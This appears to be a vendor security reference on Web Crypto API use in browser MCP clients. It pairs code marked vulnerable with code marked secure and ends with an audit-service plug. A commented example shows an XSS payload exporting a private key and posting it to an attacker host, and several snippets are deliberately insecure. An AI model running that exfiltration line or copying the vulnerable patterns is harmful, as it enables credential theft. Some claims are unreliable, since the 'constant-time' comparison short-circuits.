Security reference · Browser · Cryptography
MCP server Web Crypto API security
Browser-based MCP clients that perform cryptographic operations — signing tool call requests, establishing session keys with the MCP server, or storing encrypted credentials in browser storage — must use the Web Crypto API (window.crypto.subtle) correctly. The common failure modes are: using Math.random() for security-relevant randomness (predictable), generating extractable keys that can be read from JavaScript (leakable via XSS), storing key material in localStorage (readable by any same-origin script), and skipping key agreement in favor of static shared secrets. This reference covers SubtleCrypto key generation with non-extractable policy, IndexedDB key persistence, ECDH key agreement for per-session token derivation, and the browser's constant-time comparison functions.
Why Math.random() is not cryptographically secure
Math.random() produces a pseudo-random number using a deterministic algorithm seeded by the browser's internal clock. It is fast, predictable given the seed, and explicitly not suitable for security-sensitive operations. An attacker who can observe a few values of Math.random() can predict all future values:
// VULNERABLE: using Math.random() for nonces, tokens, or session IDs
function generateNonce() {
return Math.random().toString(36).slice(2); // Predictable, 6 bytes entropy at most
}
function generateSessionToken() {
let token = '';
for (let i = 0; i < 32; i++) token += Math.floor(Math.random() * 16).toString(16);
return token; // Not cryptographically random — V8's PRNG state is attackable
}
// SECURE: use window.crypto.getRandomValues()
function generateNonce() {
const bytes = new Uint8Array(16); // 128 bits of randomness
window.crypto.getRandomValues(bytes);
return Array.from(bytes).map(b => b.toString(16).padStart(2,'0')).join('');
}
// Or use the UUID v4 interface directly
function generateSessionToken() {
return window.crypto.randomUUID(); // RFC 4122 UUID v4 via CSPRNG
}
Key generation: extractable vs non-extractable
When generating cryptographic keys via SubtleCrypto.generateKey(), the extractable parameter controls whether the key material can be exported via exportKey(). Set it to false for keys that should never leave the browser's secure key storage — if an XSS payload runs, it cannot export and exfiltrate the key.
// VULNERABLE: extractable key — XSS can export and steal the private key
const extractableKeyPair = await window.crypto.subtle.generateKey(
{ name: 'ECDSA', namedCurve: 'P-256' },
true, // extractable: true — key material can be exported via exportKey()
['sign', 'verify']
);
// An XSS payload can do:
// const exported = await crypto.subtle.exportKey('jwk', extractableKeyPair.privateKey);
// fetch('https://attacker.example', { method: 'POST', body: JSON.stringify(exported) });
// SECURE: non-extractable key
const keyPair = await window.crypto.subtle.generateKey(
{ name: 'ECDSA', namedCurve: 'P-256' },
false, // extractable: false — key material cannot be exported
['sign', 'verify']
);
// XSS cannot extract the private key — it can only trigger signatures
// (which requires user action if protected by a signing gate)
// The key exists only in the browser's secure key storage
IndexedDB key storage — persist non-extractable keys across sessions
Non-extractable keys live only in memory by default — they're lost when the page closes. Store them in IndexedDB to persist across sessions. IndexedDB stores the opaque key object (not the raw key material), so non-extractable keys remain non-extractable even when serialized to IndexedDB:
// Store a non-extractable CryptoKey in IndexedDB
async function saveKeyToIndexedDB(keyName, key) {
return new Promise((resolve, reject) => {
const request = indexedDB.open('mcp-client-keys', 1);
request.onupgradeneeded = (e) => {
e.target.result.createObjectStore('keys', { keyPath: 'name' });
};
request.onsuccess = (e) => {
const db = e.target.result;
const tx = db.transaction('keys', 'readwrite');
tx.objectStore('keys').put({ name: keyName, key });
tx.oncomplete = () => resolve();
tx.onerror = () => reject(tx.error);
};
request.onerror = () => reject(request.error);
});
}
async function loadKeyFromIndexedDB(keyName) {
return new Promise((resolve, reject) => {
const request = indexedDB.open('mcp-client-keys', 1);
request.onsuccess = (e) => {
const db = e.target.result;
const tx = db.transaction('keys', 'readonly');
const req = tx.objectStore('keys').get(keyName);
req.onsuccess = () => resolve(req.result?.key ?? null);
req.onerror = () => reject(req.error);
};
request.onerror = () => reject(request.error);
});
}
// Usage: generate or load an ECDSA signing key for MCP request authentication
async function getOrCreateSigningKey() {
const existingKey = await loadKeyFromIndexedDB('mcp-signing-key');
if (existingKey) return existingKey;
const keyPair = await window.crypto.subtle.generateKey(
{ name: 'ECDSA', namedCurve: 'P-256' },
false, // non-extractable
['sign']
);
// Store the non-extractable private key in IndexedDB
// (the key object is stored as-is; its material remains inaccessible)
await saveKeyToIndexedDB('mcp-signing-key', keyPair.privateKey);
return keyPair.privateKey;
}
IndexedDB is same-origin accessible to all scripts on the page. Non-extractable keys stored in IndexedDB cannot have their raw material read, but any same-origin script (including XSS payloads) can load the key and use it for signing operations. Non-extractable keys prevent key theft; they don't prevent signing abuse by a compromised script. For high-security MCP clients, combine with a signing gate that requires explicit user confirmation before using the key.
ECDH key agreement for MCP session tokens
Instead of a static shared secret between client and MCP server, use ECDH (Elliptic Curve Diffie-Hellman) to derive a unique session key. Each session gets forward secrecy: even if a long-term key is later compromised, past sessions cannot be decrypted.
// Browser-side ECDH key agreement with the MCP server
// 1. Generate ephemeral ECDH key pair
const clientKeyPair = await window.crypto.subtle.generateKey(
{ name: 'ECDH', namedCurve: 'P-256' },
false, // non-extractable private key
['deriveKey', 'deriveBits']
);
// 2. Export the public key to send to the MCP server
const clientPublicKeyJwk = await window.crypto.subtle.exportKey(
'jwk',
clientKeyPair.publicKey
);
// 3. Send client public key to MCP server
const response = await fetch('/mcp/session/init', {
method: 'POST',
body: JSON.stringify({ clientPublicKey: clientPublicKeyJwk }),
});
const { serverPublicKeyJwk } = await response.json();
// 4. Import the server's public key
const serverPublicKey = await window.crypto.subtle.importKey(
'jwk',
serverPublicKeyJwk,
{ name: 'ECDH', namedCurve: 'P-256' },
false,
[]
);
// 5. Derive a shared AES-GCM session key
const sessionKey = await window.crypto.subtle.deriveKey(
{ name: 'ECDH', public: serverPublicKey },
clientKeyPair.privateKey,
{ name: 'AES-GCM', length: 256 },
false, // derived key is also non-extractable
['encrypt', 'decrypt']
);
// sessionKey is a unique AES-256 key for this session only
// Both sides independently derived the same key — no key transport over the wire
Constant-time comparison for tokens
// Standard JavaScript string comparison is NOT constant-time
// and is vulnerable to timing attacks (an attacker can tell if their token
// matches the first N characters based on comparison speed)
// VULNERABLE: timing-vulnerable token comparison
if (receivedToken === expectedToken) { /* ... */ }
// SECURE: constant-time comparison via SubtleCrypto HMAC equality
async function constantTimeEqual(a, b) {
const encoder = new TextEncoder();
const key = await window.crypto.subtle.generateKey(
{ name: 'HMAC', hash: 'SHA-256' },
false,
['sign']
);
const [sigA, sigB] = await Promise.all([
window.crypto.subtle.sign('HMAC', key, encoder.encode(a)),
window.crypto.subtle.sign('HMAC', key, encoder.encode(b)),
]);
// Compare the HMACs (both same length) — timing side channel is now in
// the HMAC comparison, which is constant-time in the crypto implementation
const arrA = new Uint8Array(sigA);
const arrB = new Uint8Array(sigB);
return arrA.every((byte, i) => byte === arrB[i]);
}
Algorithm selection reference
| Use case | Recommended algorithm | Avoid |
|---|---|---|
| Random nonces/IDs | crypto.getRandomValues() or crypto.randomUUID() | Math.random() |
| Symmetric encryption | AES-GCM (256-bit key, 96-bit IV) | AES-CBC (no authentication), DES, RC4 |
| Key agreement | ECDH P-256 | Static pre-shared secret, DH without authentication |
| Digital signatures | ECDSA P-256 with SHA-256 | RSA PKCS#1 v1.5 (padding oracle risk) |
| HMAC | HMAC-SHA-256 | HMAC-MD5, plain SHA-1 |
| Key derivation from password | PBKDF2 with SHA-256, ≥600k iterations | MD5, SHA-1-based KDF, low iteration count |
SkillAudit findings for Web Crypto API security
Math.random() — predictable PRNG output enables session prediction and token forgery.
extractable: true — an XSS payload can export private key material and exfiltrate it to attacker infrastructure.
localStorage — readable by all same-origin scripts, including XSS payloads, without SubtleCrypto's non-extractable protection.
=== string equality — timing side channel leaks token prefix match length to an attacker who can measure response time.
Math.random() — nonce reuse under the same key is catastrophically insecure; use crypto.getRandomValues() for each encryption.
Run a full security audit of your MCP server at skillaudit.dev — cryptographic misuse, extractable key patterns, localStorage secrets, and 40+ additional checks.